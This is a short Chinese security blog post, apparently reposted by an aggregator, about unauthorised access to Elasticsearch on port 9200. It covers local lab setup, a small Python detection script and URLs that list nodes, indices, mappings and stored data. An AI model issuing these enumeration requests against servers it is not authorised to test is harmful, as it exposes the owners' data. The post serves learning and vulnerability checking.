中间件安全-Elasticsearch未授权
Posted 「已注销」
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了中间件安全-Elasticsearch未授权相关的知识,希望对你有一定的参考价值。
前言
掌握一下技术,学习学习
Elasticsearch是什么?
基于java开发的企业级搜索服务,提供分布式多用户的全文搜索引擎。 启动此服务默认会开放9200端口,可被非法操作数据
漏洞概述
当节点启动,会利用多播或单播寻找集群中的其他节点,并建立连接。默认开启9200端口,黑客就可以搜索信息。
相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river
漏洞测试
下载该软件,安装
安装错误:

以记事本形式打开config目录下的jvm.options文件,将:
-XX:+UseConcMarkSweepGC
-XX:CMSInitiatingOccupancyFraction=75
-XX:+UseCMSInitiatingOccupancyOnly
修改为:
#-XX:+UseConcMarkSweepGC
#-XX:CMSInitiatingOccupancyFraction=75
#-XX:+UseCMSInitiatingOccupancyOnly
ncyOnly
可以浏览器搜索网段
localhost:9200
http://ip:9200/_cat/indices获取所有的index

http://ip:9200/_mapping?pretty=true获取index下的所有的type

检测脚本
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
def Elasticsearch_check(ip, port=9200, timeout=5):
try:
url = "http://"+ip+":"+str(port)+"/_cat"
response = requests.get(url)
except:
pass
if "/_cat/master" in response.content:
print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)
漏洞测试
http://ip:9200/pv_fun_all/school/_search?pretty=true 获取该index下该type下的内容
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据
如有安装head插件:
http://localhost:9200/_plugin/head/ web管理界面
总结
之前写的,写的不好,师傅帮忙指正
以上是关于中间件安全-Elasticsearch未授权的主要内容,如果未能解决你的问题,请参考以下文章